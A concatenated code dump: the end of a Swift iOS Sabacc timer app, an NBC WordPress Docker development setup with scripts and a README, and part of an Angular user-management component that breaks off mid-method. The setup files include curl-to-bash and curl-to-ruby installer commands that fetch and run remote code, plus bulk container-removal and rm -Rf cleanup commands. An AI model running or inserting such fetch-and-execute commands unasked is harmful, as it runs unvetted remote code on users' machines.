super.viewDidLoad()
self.txtName.delegate = self
// let leftSwipe: UISwipeGestureRecognizer = UISwipeGestureRecognizer(target: self, action: (Selector(("swipe:"))))
// leftSwipe.direction = .left
// view.addGestureRecognizer(leftSwipe)
}
override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {
self.view.endEditing(true)
super.touchesBegan(touches, with: event)
}
override func viewWillDisappear(_ animated: Bool) {
if cantinaAudio != nil {
cantinaAudio.stop()
// cantinaAudio = nil
}
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
}
<file_sep>/Sabacc New/PlayerManager.swift
//
// PlayerManager.swift
// Sabacc New
//
// Created by <NAME> on 9/9/16.
// Copyright © 2016 <NAME>›‹. All rights reserved.
//
import UIKit
var playerMgr: PlayerManager = PlayerManager ()
var paths = NSSearchPathForDirectoriesInDomains(.documentDirectory, .userDomainMask, true)[0] as NSString
var path = paths.appendingPathComponent("data.plist")
let save = NSDictionary(contentsOfFile: path)
// Get the documents Directory
func documentsDirectory() -> String {
let documentsFolderPath = NSSearchPathForDirectoriesInDomains(FileManager.SearchPathDirectory.documentDirectory, FileManager.SearchPathDomainMask.userDomainMask, true)[0]
return documentsFolderPath
}
// Get path for a file in the directory
func fileInDocumentsDirectory(filename: String) -> String {
let writePath = (documentsDirectory() as NSString).appendingPathComponent("Players")
if (!FileManager.default.fileExists(atPath: writePath)) {
do {
try FileManager.default.createDirectory(atPath: writePath, withIntermediateDirectories: false, attributes: nil) }
catch let error as NSError {
print(error.localizedDescription);
}
}
return (writePath as NSString).appendingPathComponent(filename)
}
//func savePlayer (player: String, path: String ){
//
// let playerData = String.self
//
//// let result = playerData.writeToFile(path, atomically: true)
//
//// print("\(result)")
//// print("\(path)")
//
//}
struct structureOfPlayer{
var name = "String"
var shift = false
var modifier = false
var playersCurrentDiceRoll:Int = 0
}
class PlayerManager: NSObject {
var players = [structureOfPlayer] ()
let fileManager = (FileManager.default)
func addPlayer (_ name: String){
players.append(structureOfPlayer(
name: name,
shift: false,
modifier: false,
playersCurrentDiceRoll: 0))
// savePlayer(player: name, path: path)
}
}
<file_sep>/Sabacc New/SecondViewController.swift
//
// SecondViewController.swift
// Sabacc New
//
// Created by <NAME> on 9/8/16.
// Copyright © 2016 <NAME>›‹. All rights reserved.
//
import UIKit
import AVFoundation
var isAnimating = false
var imageList: Array<AnyObject> = []
var durationList: Array<Int> = [1, 2, 3, 4, 5]
class SecondViewController:
UIViewController
{
var timer = Timer()
var randomTimeInterval = 60
// ///Outlets and Buttons
@IBOutlet weak var countDownOne: UIImageView!
@IBOutlet weak var countDownTwo: UIImageView!
@IBOutlet weak var countDownThree: UIImageView!
@IBOutlet weak var countDownFour: UIImageView!
@IBOutlet weak var countDownFive: UIImageView!
@IBOutlet weak var gameStylePicker: UIPickerView!
@IBOutlet weak var gameStyleDescription: UITextView!
var computer = AVAudioPlayer()
// // Functions for timer // //
func computerSound () {
let path = Bundle.main.path(forResource: "computerAudio", ofType: "wav")!
let url = URL(fileURLWithPath: path)
do {
let sound = try AVAudioPlayer(contentsOf: url)
computer = sound
sound.play()
} catch {
// couldn't load file :(
}
}
func randomTimeIntervalGenerator () {
var numberOfPlayers:UInt32 = UInt32(playerMgr.players.count)
numberOfPlayers += 1
randomTimeInterval = Int(arc4random_uniform(numberOfPlayers*30)+(numberOfPlayers)*60)
print("Random number generated. Timer will count down from \(randomTimeInterval/60):\(randomTimeInterval%60)")
}
func sabaccTimer () {
print("Timer has been called.")
computerSound ()
randomTimeIntervalGenerator()
timer = Timer.scheduledTimer(timeInterval: TimeInterval(5/*randomTimeInterval*/), target: self, selector: #selector(timerDidFire), userInfo: nil, repeats: false)
}
func timerDidFire () {
print("Timer has fired")
stopAnimation()
diceIsRolled()
self.performSegue(withIdentifier: "showShiftView", sender:self)
}
// // Function for Dice Roll // //
func diceIsRolled() {
var i = 0
var die = 0
while (i < playerMgr.players.count) {
die = Int(arc4random_uniform(6)+1)
playerMgr.players[i].playersCurrentDiceRoll = die
print("player \(i+1) rolled \(die)")
if playerMgr.players[i].playersCurrentDiceRoll <= 3 {
playerMgr.players[i].shift = false
playerMgr.players[i].modifier = false
print("...and does not shift this round.")
} else if playerMgr.players[i].playersCurrentDiceRoll > 5 {
playerMgr.players[i].shift = true
playerMgr.players[i].modifier = true
print("...and shifts two cards this round")
} else {
playerMgr.players[i].shift = true
playerMgr.players[i].modifier = false
print("...and shifts one card this round")
}
i += 1
}
}
// // Function to start animation // //
func assignImageList () {
for index in 0...9 {
print("image \(index).png put into array")
let imageName = "\(index).png"
imageList.append (UIImage (named: imageName)!)
}
}
func assignAnimationDuration () {
for index in 0...(durationList.count - 1) {
durationList[index] = Int(arc4random_uniform(10)+1)
}
}
func startAnimation () {
isAnimating = true
countDownOne.animationImages = imageList as? [UIImage]
countDownOne.animationDuration = TimeInterval(durationList[0])
countDownOne.startAnimating()
countDownTwo.animationImages = imageList as? [UIImage]
countDownTwo.animationDuration = TimeInterval(durationList[1])
countDownTwo.startAnimating()
countDownThree.animationImages = imageList as? [UIImage]
countDownThree.animationDuration = TimeInterval(durationList[2])
countDownThree.startAnimating()
countDownFour.animationImages = imageList as? [UIImage]
countDownFour.animationDuration = TimeInterval(durationList[3])
countDownFour.startAnimating()
countDownFive.animationImages = imageList as? [UIImage]
countDownFive.animationDuration = TimeInterval(durationList[4])
countDownFive.startAnimating()
print("Animation has started")
}
// // Function Declation to stop anamation // //
func stopAnimation () {
countDownOne.stopAnimating()
countDownTwo.stopAnimating()
countDownThree.stopAnimating()
countDownFour.stopAnimating()
countDownFive.stopAnimating()
isAnimating = false
print("Animation is stopped.")
}
// View Did Load
override func viewDidLoad() {
super.viewDidLoad()
print("View 2 Did Load")
assignImageList()
}
// View Will Appear
override func viewWillAppear(_ animated: Bool) {
print("View 2 Will Appear")
if timer.isValid != true {
print("Timer is not running, start timer.")
assignAnimationDuration()
startAnimation()
sabaccTimer()
print("timer started")
} else {
print("Timer is already running.")
}
}
//// View Will Layout Subviews
// override func viewWillLayoutSubviews() {
// print("View 2 Will Layout Subviews")
//
// }
//// View Did Layout Subviews
// override func viewDidLayoutSubviews() {
// print("View 2 Did Layout Subviews")
//
//
// }
//// View Will Appear
// override func viewDidAppear(_ animated: Bool) {
// super.viewDidAppear(animated)
//
// }
}
<file_sep>/ThirdViewController.swift
//
// ThirdViewController.swift
// Sabacc New
//
// Created by <NAME> on 9/11/16.
// Copyright © 2016 <NAME>›‹. All rights reserved.
//
import UIKit
class ThirdViewController: UIViewController {
// ///Buttons
@IBOutlet weak var backButton: UILabel!
@IBOutlet weak var stackViewMain: UIStackView!
// ///Labels
var labelArray = Array (repeating: UILabel (), count: playerMgr.players.count)
//View Did Load
override func viewDidLoad() {
super.viewDidLoad()
print ("view 3 Did Load")
}
// View Will Appear
override func viewWillAppear(_ animated: Bool) {
print("view 3 Will Appear")
// Creates a label for each player and puts it in the array "labelArray".
// Puts the array in the stack view named "stackViewMain" with append.
// Centers the text of the label.
// Allows the text to be adjusted if it exceeds the length of alotted space for thw label.
// Itterates through the list of labels and sets them to alpha 0.
// This makes them transparent to allow fade in animation.
// Changes the text of each label to the names in the player list.
for index in 0...(playerMgr.players.count - 1) {
let label = UILabel()
print("Creating Player \(index+1)")
labelArray.append (label)
labelArray[index].textAlignment = NSTextAlignment.center
labelArray[index].adjustsFontSizeToFitWidth = true
labelArray[index].alpha = 0
labelArray[index].text = "\(playerMgr.players[index].name)"
labelArray[index].frame.size.width = self.view.frame.size.width
self.stackViewMain.addArrangedSubview(labelArray[index])
print("Player \(index+1) created")
}
// Changes the background color of each label to:
// --Green if player DOES NOT SHIFT--
// --Yellow if player SHIFTS ONE CARD--
// --Red if the player SHIFTS TWO CARDS--
for index in 0...(playerMgr.players.count - 1) {
if playerMgr.players[index].shift == false {
self.labelArray[index].backgroundColor = UIColor.green
} else if playerMgr.players[index].modifier == true {
self.labelArray[index].backgroundColor = UIColor.red
} else {
self.labelArray[index].backgroundColor = UIColor.yellow
}
}
}
// View Will Layout Subviews
override func viewWillLayoutSubviews() {
print("view 3 Will Layout Subviews")
isAnimating = false
}
// View did layout subviews
override func viewDidLayoutSubviews() {
print ("view 3 Did Layout Subviews")
super.viewDidLayoutSubviews()
}
override func viewDidAppear(_ animated: Bool) {
print("view 3 Did Appear")
super.viewDidAppear(animated)
// Animation to fade in labels
// Fades labels in to 40% alpha if they are green and player does not shift.
// Fades labels in to 60% alpha if they are yellow and player shifts one card.
// Fades labels in to 100% alpha if the are red and player shifts two cards.
UIView.animate(withDuration : 2, delay: 0, options: [], animations: {
for index in 0...(playerMgr.players.count - 1) {
self.labelArray[index].alpha = 1
}
// // dynamic transparancy for differnt colors // //
// for index in 0...(playerMgr.players.count - 1) {
// if playerMgr.players[index].shift == false {
// self.labelArray[index].alpha = 1
// } else if playerMgr.players[index].modifier == true {
// self.labelArray[index].alpha = 1
// } else {
// self.labelArray[index].alpha = 1
// }
// }
} , completion: nil )
}
}
| 0376fdb1a32710a9de01cadcafba71890824aeb6 | [
"Swift"
] | 6 | Swift | kyleisgfy/Sabacc-Timer | 96ac676385f7969ccd00ea99949b08bf6cbc5026 | 3263369568df093df7b0276082e03f319bc649b6 |
refs/heads/master | <repo_name>TelemundoDigitalUnit/NBC_Docker<file_sep>/docker-compose.yml
version: '3'
services:
# https://github.com/wpcomvip/nbcots/
mysql:
container_name: nbc-wp-mysql
environment:
MYSQL_ROOT_PASSWORD: '${<PASSWORD>}'
image: mariadb:10.4
restart: always
volumes:
- db:/var/lib/mysql
- .logs/mysql:/var/log/mysql
networks:
- nbc-wp
ports:
- 33306:3306
healthcheck:
test: mysqlshow -p$MYSQL_ROOT_PASSWORD
interval: 5s
timeout: 5s
retries: 3
wordpress:
container_name: nbc-wp-php
depends_on:
- mysql
environment:
WORDPRESS_DB_PASSWORD: '${<PASSWORD>}'
WORDPRESS_CONFIG_EXTRA: require_once( ABSPATH . 'wp-content/vip-config/vip-config.php' );
image: nbc-wordpress
build:
context: ./setup/docker/wordpress
restart: always
volumes:
- ./wp-container:/var/www/html
- ./conf/php.ini:/usr/local/etc/php/conf.d/wp.ini
networks:
- nbc-wp
healthcheck:
test: env SCRIPT_NAME=/var/www/html/wp-admin/index.php SCRIPT_FILENAME=/var/www/html/wp-admin/index.php REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000
interval: 10s
timeout: 10s
retries: 3
nginx:
container_name: nbc-wp-nginx
depends_on:
- wordpress
- memcached
image: nginx:alpine
ports:
- '80:80'
- '443:443'
restart: always
volumes:
- ./conf/nginx/nginx.conf:/etc/nginx/conf.d/default.conf
- ./conf/nginx/certs:/etc/nginx/ssl
- ./wp-container:/var/www/html
- .logs/nginx:/var/log/nginx
networks:
- nbc-wp
memcached:
container_name: nbc-wp-memcached
depends_on:
- wordpress
image: memcached:alpine
restart: always
ports:
- '11211:11211'
wp-cli:
container_name: nbc-wp-cli
image: wordpress:cli
restart: on-failure
volumes:
- ./wp-container:/var/www/html
- ./docker_init.sh:/var/www/html/init.sh
command: /var/www/html/init.sh
environment:
MYSQL_ROOT_PASSWORD: <PASSWORD>}'
LOCAL_DEV_DOMAIN: $LOCAL_DEV_DOMAIN
WP_SITE_TITLE: $WP_SITE_TITLE
WP_ADMIN_USER: $WP_ADMIN_USER
WP_ADMIN_PASSWORD: <PASSWORD>
WP_ADMIN_EMAIL: $WP_ADMIN_EMAIL
WP_IS_MULTISITE: $WP_IS_MULTISITE
WP_IS_MULTISITE_SUBDOMAIN: $WP_IS_MULTISITE_SUBDOMAIN
WP_PROJECT_THEME_FOLDER: nbc-station
networks:
- nbc-wp
phpmyadmin:
container_name: nbc-wp-phpmyadmin
depends_on:
- wordpress
- mysql
image: phpmyadmin/phpmyadmin
restart: always
ports:
- '8889:80'
environment:
PMA_HOST: mysql
MYSQL_ROOT_PASSWORD: '${<PASSWORD>}'
networks:
- nbc-wp
networks:
nbc-wp:
volumes:
db:
logs:
wp-container:
<file_sep>/README.md
# NBC WordPress Docker Setup
- [NBC WordPress Docker Setup](#nbc-wordpress-docker-setup)
- [Prerequisites](#prerequisites)
- [Installation](#installation)
- [Troubleshooting](#troubleshooting)
- [Questions?](#questions)
A Docker Container which setups up WordPress with PHP-FPM, Nginx with a self-signed SSL certificate, WordPress CLI, MariaDB, memcache and phpMyAdmin. In addition, the setup script will install the WordPress VIP MU Plugins and the NBCOTS VIP repository if you have access. You will need to learn the Docker Compose commands to spin down containers and spin them back up.
## Prerequisites
Here are a list of frameworks you need to have pre-installed on your machine. If you happen to shortcut the installation the local development environment will not run properly.
* __Homebrew__
* ```/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"```
* __PHP__
* ```brew install php```
* Installing PHP 7.2+? You will need to disable PCL by creating an `ini` file.
1. Copy and paste the following commands into Terminal after you've installed PHP:
```
cd /usr/local/etc/php/7.3/conf.d
touch myphp.ini
```
2. Copy the text below:
```
; Fix for PCRE "JIT compilation failed" error
[Pcre]
pcre.jit=0
```
3. Paste into `myphp.ini` file you just created.
* __nvm - Node Version Manager__
* https://github.com/nvm-sh/nvm
* __npm - Node Package Manager__
* ```brew install npm```
* __composer__
* ``` brew install composer```
* __Docker for macOS__
* https://docs.docker.com/docker-for-mac/install/
## Installation
1. Start Docker Desktop and wait till the status reads `Docker Desktop is running`
2. In Terminal, run the following command:
```./local_init.sh```
3. Once setup has been completed, add this line above `require_once( ABSPATH . 'wp-settings.php' );` in your `wp-config.php`:
`require_once( ABSPATH . 'wp-content/vip-config/vip-config.php' );`
4. Visit `http://localhost/wp-admin` on your browser and sign in using credentials stored inside of the `.env` file.
5. Activate the [NBC Theme](#enable-themewp-plugin-error).
6. All your work should be within the `wp-content` folder. __DO NOT__ commit to the main Docker Container repository.
## Troubleshooting
### Removing Orphan Containers
Run the following commands to ensure orphaned containers are removed.
```bash
docker-compose down --remove-orphans
docker stop $(docker ps -a -q)
docker rm $(docker ps -a -q)
```
### Enable theme/WP Plugin error
If you get an error similar to:
`Uncaught Error: Call to undefined function NBC\get_site_host() ...`
It's likely the `nbc-station` theme didn't get activated. Run this to fix:
```
docker-compose run wp-cli theme enable nbc-station --network
docker-compose run wp-cli theme activate nbc-station
```
## Questions?
Have you got questions? Problems with the installation? Use Google, ask your neighbor or ask questions in Slack.
<file_sep>/.prereqs.sh
#!/bin/bash
# php
brew install php
# composer
EXPECTED_SIGNATURE="$(wget -q -O - https://composer.github.io/installer.sig)"
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
ACTUAL_SIGNATURE="$(php -r "echo hash_file('sha384', 'composer-setup.php');")"
if [ "$EXPECTED_SIGNATURE" != "$ACTUAL_SIGNATURE" ]
then
>&2 echo 'ERROR: Invalid installer signature'
rm composer-setup.php
exit 1
fi
php composer-setup.php --quiet
rm composer-setup.php
# npm
brew install npm
# nvm
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.34.0/install.sh | bash
export NVM_DIR="${XDG_CONFIG_HOME/:-$HOME/.}nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
mkdir .nvm
nvm install 8
<file_sep>/setup/bash/lx.sh
WP_CONTENT_PATH=$BASE_SCRIPT_PATH/wp-container-lx/wp-content
BUILD_PLUGINS=(
)
BUILD_THEMES=(
localx
)
for plugin in ${BUILD_PLUGINS[*]}
do
pushd ${WP_CONTENT_PATH}/plugins/${plugin}
npm install --quiet
npm run build -s
popd
done
for theme in ${BUILD_THEMES[*]}
do
pushd ${WP_CONTENT_PATH}/themes/${theme}
npm install --quiet
npm run build
popd
done
<file_sep>/conf/php.ini
file_uploads = On
upload_max_filesize = 64M
post_max_size = 64M
max_execution_time = 30
memory_limit = 512M
# Log errors to stderr
display_errors = Off
log_errors = On
error_log = /dev/stderr
# Disable X-Powered-By
expose_php = Off
<file_sep>/local_init.sh
#!/bin/bash
# Load Environment Variables
source .env
# define variables
iterations=0
max_iterations=5
BASE_SCRIPT_PATH=$(pwd)
LOG_FILE=${BASE_SCRIPT_PATH}/build_log.txt
SETUP_PATH=${BASE_SCRIPT_PATH}/setup
# Colors
NC="\033[0m" # No Color
RED="\033[0;31m"
GREEN="\033[0;32m"
function docker_compose() {
docker-compose \
-f docker-compose.yml \
-f docker-compose.lx.yml \
-f docker-compose.microsites.yml \
$@ ;
}
function check_error () {
if [ $1 -ne 0 ]; then
printf "$RED\x00An error occurred, check $LOG_FILE\n$NC"
exit
fi
}
function clear_error_log() {
# clear the error log
echo -n > $LOG_FILE
}
function build_projects() {
# builds the project
docker_compose \
build \
1>>$LOG_FILE \
2>>$LOG_FILE
}
function spin_up_mysql() {
CONTAINER_NAME=$1
# spin up mysql
printf "$GREEN\x00Spinning up $CONTAINER_NAME..\n$NC"
docker_compose up -d $CONTAINER_NAME 1>>$LOG_FILE 2>>$LOG_FILE
check_error $?
# wait for mysql to be "ready"
iterations=1
while true; do
docker_compose exec $CONTAINER_NAME /bin/sh -c "mysqlshow -p\$MYSQL_ROOT_PASSWORD" 1>>$LOG_FILE 2>>$LOG_FILE
if [ $? -eq 0 ]; then
break
fi
printf '.'
sleep 10
if [ $iterations -ge $max_iterations ]; then
printf "$RED\n$CONTAINER_NAME failed to come up after $max_iterations attempts.\n$NC"
check_error 1
fi
iterations=$(expr $iterations + 1)
done;
}
function spin_up_wordpress() {
CONTAINER_NAME=$1
CONTAINER_FOLDER=$2
# spin up wordpress
printf "$GREEN\x00Spinning up $CONTAINER_NAME..\n$NC"
docker_compose up -d $CONTAINER_NAME 1>>$LOG_FILE 2>>$LOG_FILE
check_error $?
# wait for wordpress to be "ready"
iterations=1
while true; do
docker_compose exec $CONTAINER_NAME /bin/sh -c "env SCRIPT_NAME=/var/www/html/wp-admin/index.php SCRIPT_FILENAME=/var/www/html/wp-admin/index.php REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000" 1>>$LOG_FILE 2>>$LOG_FILE
printf "$GREEN\x00Checking if \"${CONTAINER_FOLDER}/wp-content/themes\" exists..\n$NC"
if [ $? -eq 0 -a -e "${CONTAINER_FOLDER}/wp-content/themes" ]; then
break
fi
printf '.'
sleep 10
if [ $iterations -ge $max_iterations ]; then
printf "$RED\n$CONTAINER_NAME failed to come up after $max_iterations attempts.\n$NC"
check_error 1
fi
iterations=$(expr $iterations + 1)
done
}
function get_project_respository() {
PROJECT=$1
if [ "$PROJECT" = "" -o "$PROJECT" = "main" ]; then
echo https://github.com/wpcomvip/nbcots.git
elif [ "$PROJECT" = "lx" -o "$PROJECT" = "localx" ]; then
echo https://github.com/wpcomvip/nbcotslx.git
elif [ "$PROJECT" = "microsites" ]; then
echo https://github.com/wpcomvip/nbcots-microsites.git
fi
}
function clone_repo() {
OUTPUT_PATH=$1
REPOSITORY_URL=$2
printf "$GREEN\x00😈 ls -lah \"$OUTPUT_PATH/wp-content/\" ...$NC\n"
ls -lah $OUTPUT_PATH/wp-content/
printf "$GREEN\x00😈 Cloning \"$REPOSITORY_URL\" to \"$OUTPUT_PATH/wp-content/\" ...$NC\n"
printf "[ this may take a minute ... ]\n"
git clone $REPOSITORY_URL $OUTPUT_PATH/wp-content/ --branch master --recurse-submodules 1>>$LOG_FILE 2>>$LOG_FILE
check_error $?
printf "$GREEN\x00😈 Pulling VIP MU Plugins\n$NC"
printf "[ this may take a minute ... ]\n"
git clone --recurse-submodules https://github.com/Automattic/vip-go-mu-plugins-built $OUTPUT_PATH/wp-content/mu-plugins 1>>$LOG_FILE 2>>$LOG_FILE
check_error $?
command -v composer 1>>$LOG_FILE 2>>$LOG_FILE
if [ $? -eq 0 ]; then
pushd "$OUTPUT_PATH/wp-content"
printf "$GREEN\x00😈 Installing composer depedencies...\n$NC"
composer install --no-ansi --no-dev --no-interaction --no-progress --no-scripts --optimize-autoloader
popd
fi
}
function install_multisite() {
CONTAINER_NAME=$1
printf "$GREEN\x00😈 Installing multi-site support..\n$NC"
docker_compose run $CONTAINER_NAME 1>>$LOG_FILE 2>>$LOG_FILE
check_error $?
}
function spin_up_nginx() {
printf "$GREEN\x00😈 Spinning up nginx and phpmyadmin\n$NC"
docker_compose up -d \
nginx phpmyadmin \
nginx-lx phpmyadmin-lx \
nginx-microsites phpmyadmin-microsites \
1>>$LOG_FILE 2>>$LOG_FILE \
;
check_error $?
}
function nvm_setup() {
printf "$GREEN\x00😈 Checking if NVM is available..\n$NC"
type nvm 1>/dev/null 2>/dev/null
if [ $? -ne 0 ]; then
if [ "$NVM_DIR" != "" ]; then
source "$NVM_DIR/nvm.sh"
else
echo "Could not find or load NVM.." >> $LOG_FILE
check_error 1
fi
fi
printf "$GREEN\x00😈 Checking if NVM has node 8..\n$NC"
nvm which 8 1>/dev/null 2>/dev/null
if [ $? -ne 0 ]; then
nvm install 8
fi
nvm use 8
npm i -g npm@6
}
function install_wp_core() {
CONTAINER_NAME=$1
docker_compose run $CONTAINER_NAME wp core download
check_error $?
}
function main () {
clear_error_log
printf "$GREEN\x00😈 Compiling projects: $PROJECT$NC\n"
printf "[ this may take a minute ... ]\n"
build_projects
check_error $?
spin_up_mysql mysql
spin_up_mysql mysql-lx
spin_up_mysql mysql-microsites
install_wp_core wp-cli
install_wp_core wp-cli-lx
install_wp_core wp-cli-microsites
printf "$GREEN\x00😈 Removing WordPress wp-content folder$NC\n"
rm -Rf \
./wp-container/wp-content \
./wp-container-lx/wp-content \
./wp-container-microsites/wp-content \
;
clone_repo ./wp-container $(get_project_respository main)
clone_repo ./wp-container-lx $(get_project_respository lx)
clone_repo ./wp-container-microsites $(get_project_respository microsites)
spin_up_wordpress wordpress ./wp-container
spin_up_wordpress wordpress-lx ./wp-container-lx
spin_up_wordpress wordpress-microsites ./wp-container-microsites
install_multisite wp-cli
install_multisite wp-cli-lx
install_multisite wp-cli-microsites
spin_up_nginx
# nvm_setup
printf "$GREEN\x00😈 Building Themes..\n$NC"
source $SETUP_PATH/bash/main.sh
source $SETUP_PATH/bash/lx.sh
source $SETUP_PATH/bash/microsites.sh
printf "$GREEN\x00😈 Done..\n$NC"
}
main
<file_sep>/setup/docker/wordpress/Dockerfile
FROM wordpress:5.3-fpm
# add fast-cgi bin for healthcheck
RUN apt-get update && apt-get install -y libfcgi-bin
RUN apt-get install -y \
libz-dev \
libmemcached-dev \
&& \
if [ -n "$http_proxy" ]; then \
pear config-set http_proxy $(echo -n $http_proxy | sed 's/^https\?:\/\///'); \
pecl config-set http_proxy $(echo -n $http_proxy | sed 's/^https\?:\/\///'); \
fi; \
pecl install memcache memcached xdebug \
&& docker-php-ext-enable memcache \
&& docker-php-ext-enable memcached \
&& docker-php-ext-enable xdebug \
&& echo "xdebug.profiler_enable=0" >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini \
&& echo "xdebug.remote_enable=on" >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini \
&& echo "xdebug.profiler_output_dir=/tmp" >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini \
&& echo "xdebug.remote_autostart=on" >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini \
&& echo "xdebug.remote_port=$xdebug_port" >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini \
&& echo "xdebug.remote_handler=dbgp" >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini \
&& echo "xdebug.remote_connect_back=0" >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini \
&& echo "xdebug.remote_host=docker.for.mac.localhost" >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini \
;<file_sep>/clean.sh
#!/bin/bash
docker-compose \
-f ./docker-compose.yml \
-f ./docker-compose.lx.yml \
-f ./docker-compose.microsites.yml \
down \
--remove-orphans \
&& docker volume prune -f \
&& rm -Rf \
./.logs \
./wp-container \
./wp-container-lx \
./wp-container-microsites \
;
<file_sep>/setup/bash/main.sh
WP_CONTENT_PATH=$BASE_SCRIPT_PATH/wp-container/wp-content
BUILD_PLUGINS=(
byline-manager
nbc-library
)
BUILD_THEMES=(
nbc-station
)
for plugin in ${BUILD_PLUGINS[*]}
do
pushd ${WP_CONTENT_PATH}/plugins/${plugin}
npm install --quiet
npm run build -s
popd
done
for theme in ${BUILD_THEMES[*]}
do
pushd ${WP_CONTENT_PATH}/themes/${theme}
npm install --quiet
npm run build
popd
done
<file_sep>/docker_init.sh
#!/bin/bash
echo "initializing..."
#installing wp
if ! $(wp core is-installed); then
echo "wp installed"
if $WP_IS_MULTISITE
then
if $WP_IS_MULTISITE_SUBDOMAIN
then
echo "installing wp multisite using subdomains..."
wp core multisite-install --url=$LOCAL_DEV_DOMAIN --subdomains --title="$WP_SITE_TITLE" --admin_name=$WP_ADMIN_USER --admin_password=$<PASSWORD> --admin_email=$WP_ADMIN_EMAIL --skip-email
else
echo "installing wp multisite using directories..."
wp core multisite-install --url=$LOCAL_DEV_DOMAIN --title="$WP_SITE_TITLE" --admin_name=$WP_ADMIN_USER --admin_password=$<PASSWORD> --admin_email=$WP_ADMIN_EMAIL --skip-email
fi
else
echo "installing wp..."
wp core install --url=$LOCAL_DEV_DOMAIN --title="$WP_SITE_TITLE" --admin_name=$WP_ADMIN_USER --admin_password=$<PASSWORD> --admin_email=$WP_ADMIN_EMAIL --skip-email
fi
if [ -d "wp-content/themes/${WP_PROJECT_THEME_FOLDER}" ];
then
echo "wp theme enable $WP_PROJECT_THEME_FOLDER"
wp theme enable $WP_PROJECT_THEME_FOLDER --network --activate
fi
#returning 0 value marks success
exit 0
fi
#returning non 0 value marks an error, so the container will start again as it has "restart: on-failure"
exit 1
| 697c8db3f3573d3a99de53c330f4cb745df3f968 | [
"YAML",
"Markdown",
"INI",
"Dockerfile",
"Shell"
] | 10 | YAML | TelemundoDigitalUnit/NBC_Docker | 9ea745268e099ed10108a50a94d386c903c4ee99 | 44488587bf18fbe22b19fb908c2f25d1575eab15 |
refs/heads/main | <file_sep>import { HttpClient } from '@angular/common/http';
import { Injectable } from '@angular/core';
import { Usuarios} from './usuario';
@Injectable({
providedIn: 'root'
})
export class UsuarioService {
formData: Usuarios;
list: Usuarios[];
readonly rootURL = 'http://webapi.localhost.net:8080/api';
selectedUsuario: Usuarios;
constructor(public http: HttpClient) { }
postUsuario(formData: Usuarios){
return this.http.post(this.rootURL+'/usuarios', formData);
}
refreshList(){
this.http.get(this.rootURL+'/usuarios')
.toPromise().then(res => this.list = res as Usuarios[]);
}
putUsuario(formData: Usuarios){
return this.http.put(this.rootURL+'/usuarios/update'+formData.id,formData);
}
deleteUsuario(id: number){
return this.http.delete(this.rootURL+'/usuario/'+id);
}
}
<file_sep>import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
import { NgbModule } from '@ng-bootstrap/ng-bootstrap';
import { UsuariosComponent } from './usuarios/usuarios.component';
import {Routes, RouterModule} from '@angular/router';
import { AddUsuariosComponent } from './usuarios/add-usuarios/add-usuarios.component';
import { FormsModule } from '@angular/forms';
import { HttpModule } from '@angular/http';
import { HttpClientModule } from '@angular/common/http';
import { ToastrModule } from 'ngx-toastr';
import { SidebarModule} from 'ng-sidebar';
import { ListUsuariosComponent } from './usuarios/list-usuarios/list-usuarios.component';
const appRoutes: Routes = [
{path: 'usuarios', component: UsuariosComponent},
];
@NgModule({
declarations: [
AppComponent,
UsuariosComponent,
AddUsuariosComponent,
ListUsuariosComponent
],
imports: [
BrowserModule,
AppRoutingModule,
BrowserAnimationsModule,
FormsModule,
HttpModule,
SidebarModule.forRoot(),
HttpClientModule,
ToastrModule.forRoot(),
NgbModule, RouterModule.forRoot(appRoutes)
], exports: [RouterModule],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule { }
<file_sep>import { Component, OnInit } from '@angular/core';
import { ToastrService } from 'ngx-toastr';
import { UsuarioService } from '../shared/usuario.service';
import { Usuarios } from '../shared/usuario';
@Component({
selector: 'app-list-usuarios',
templateUrl: './list-usuarios.component.html',
styleUrls: ['./list-usuarios.component.css']
})
export class ListUsuariosComponent implements OnInit {
constructor(public addusuarioservice: UsuarioService, public toastr: ToastrService) { }
ngOnInit(): void {
this.addusuarioservice.refreshList();
}
populateForm(usuario: Usuarios) {
this.addusuarioservice.formData = Object.assign({}, usuario);
}
onDelete(id: number) {
if (confirm('Esta seguro de elimimar el registro?')) {
this.addusuarioservice.deleteUsuario(id).subscribe(res => {
this.addusuarioservice.refreshList();
this.toastr.warning('Registro Eliminado', 'EMP. Register');
});
}
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import {NgForm} from '@angular/forms';
import { isInteger } from '@ng-bootstrap/ng-bootstrap/util/util';
import { ToastrService } from 'ngx-toastr';
import { UsuarioService } from '../shared/usuario.service';
@Component({
selector: 'app-add-usuarios',
templateUrl: './add-usuarios.component.html',
styleUrls: ['./add-usuarios.component.css']
})
export class AddUsuariosComponent implements OnInit {
constructor(public addusuarioservice: UsuarioService, public toastr: ToastrService) { }
ngOnInit(): void {
this.resetForm();
}
resetForm(form?: NgForm){
if (form != null){form.reset(); }
this.addusuarioservice.formData = {
id: '',
nombre: '',
cedula: '',
fecha: '',
email: '',
telefono: '',
organizacion: '',
}
}
onSubmit(form: NgForm){
if (form.value.id == null){
this.insertRecord(form);
}
else{
this.updateRecord(form);
}
}
insertRecord(form: NgForm) {
this.addusuarioservice.postUsuario(form.value).subscribe(res => {
this.toastr.success('Inserted successfully', 'EMP. Register');
this.resetForm(form);
this.addusuarioservice.refreshList();
});
}
updateRecord(form: NgForm) {
